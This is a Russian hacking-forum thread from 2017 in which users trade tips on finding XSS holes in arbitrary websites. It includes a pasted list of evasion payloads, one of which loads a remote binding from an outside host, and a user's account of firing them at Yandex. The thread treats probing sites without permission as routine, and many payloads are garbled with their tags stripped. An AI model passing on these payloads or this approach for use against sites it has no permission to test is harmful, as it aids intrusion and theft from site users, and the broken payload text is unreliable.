Форум АНТИЧАТ - XSS. И снова здравствуйте

Страница 1 из 2

Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)

- - XSS. И снова здравствуйте (https://forum.antichat.xyz/showthread.php?t=455439)

hells_bells

07.09.2017 00:39

Приветствую в моей первой теме!

Если быть кратким, то меня интересует парочка вопросов касательно XSS уязвимости:

- Видел на форуме много тем о XSS, но большинство из них были открыты очень давно(по меркам Web`а), как вы считаете - является ли XSS уязвимость актуальной и по сей день или нет?

- Если же XSS актуальна, можете ли вы поделиться своим опытом поиска уязвимых сайтов?(поверьте, прежде чем задавать этот вопрос сюда, сам перелопатил кучу гору сайтов - безуспешно)

{iddqd}

07.09.2017 00:59

Конечно! таких сайтов дохуя!

Ищи на сайтах формы для ввода каких-то данных и потом ищи их отображение на странице. Лезь в исходный код страницы и ищи как в html выводятся введенные тобой данные.

Если говорить о пассивных xss, то в адресной строке браузера должно быть нечто вроде http://site.com/?search="..."

в качестве параметра подставляй

Код:

Code:

alert()

или сначала тег закрывай "/> а потом алерт()

Active XSS часто встречаются на сайтах, где есть регистрация и личный кабинет. В разные поля можно подставлять алерт, некоторые поля могут выводиться без фильтрации.

tester211

07.09.2017 17:45

Это наверное самая интересная штука, которая позволяет что то воровать

brown

26.09.2017 18:45

Где-то слышал что сейчас браузеры лочат ХХС

Logol

26.09.2017 22:47

Цитата:

Сообщение от brown

brown said:
↑
Где-то слышал что сейчас браузеры лочат ХХС

они не могу его блочить так как для выполнения xss нужен js А БЕЗ сайты не работают)

Logol

26.09.2017 22:49

мой маленький набор

Код:

Code:

'';!--"=&{()}



xxs link



or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.



xxs link

alert("XSS")">



perl -e 'print "";' > out



alert("XSS");//



alert("XSS");



li {list-style-image: url("javascript:alert('XSS')");}XSS



; REL=stylesheet">

BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}

@im\port'\ja\vasc\ript:alert("XSS")';



alert('XSS');

.XSS{background-image:url("javascript:alert('XSS')");}

BODY{background:url("javascript:alert('XSS')")}



¼script¾alert(¢XSS¢)¼/script¾



cript:alert('XSS')">



cript:alert('XSS')">



alert("XSS")'); ?>

alert('XSS')">

 +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

StarkMP

13.10.2017 20:15

Цитата:

Сообщение от Logol

Logol said:
↑
мой маленький набор

Код:

Code:

'';!--"=&{()}



xxs link



or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.



xxs link

alert("XSS")">



perl -e 'print "";' > out



alert("XSS");//



alert("XSS");



li {list-style-image: url("javascript:alert('XSS')");}XSS



; REL=stylesheet">

BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}

@im\port'\ja\vasc\ript:alert("XSS")';



alert('XSS');

.XSS{background-image:url("javascript:alert('XSS')");}

BODY{background:url("javascript:alert('XSS')")}



¼script¾alert(¢XSS¢)¼/script¾



cript:alert('XSS')">



cript:alert('XSS')">



alert("XSS")'); ?>

alert('XSS')">

 +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

Привет. И все вот эти строчки тестировать на разных сайтах? Если вывело уведомление, значит уязвимость есть?

karkajoi

13.10.2017 20:44

Цитата:

Сообщение от StarkMP

StarkMP said:
↑
Привет. И все вот эти строчки тестировать на разных сайтах? Если вывело уведомление, значит уязвимость есть?

Да, хотя вектора можно ещё придумать

StarkMP

13.10.2017 20:46

Цитата:

Сообщение от karkajoi

karkajoi said:
↑
Да, хотя вектора можно ещё придумать

Я по приколу вставил это в сайт Яндекса, высветилось сообщение 1 раз. Неужели это уязвимость? Как-то даже не верится...

karkajoi

13.10.2017 21:32

Цитата:

Сообщение от StarkMP

StarkMP said:
↑
Я по приколу вставил это в сайт Яндекса, высветилось сообщение 1 раз. Неужели это уязвимость? Как-то даже не верится...

Возможно, на mail.ru раньше было много, но эксплуатировать сложновато стало, браузеры блочат, надо искать новые вектора и обходы.

Время: 17:11

Страница 1 из 2

Показывать 40 сообщений этой темы на одной странице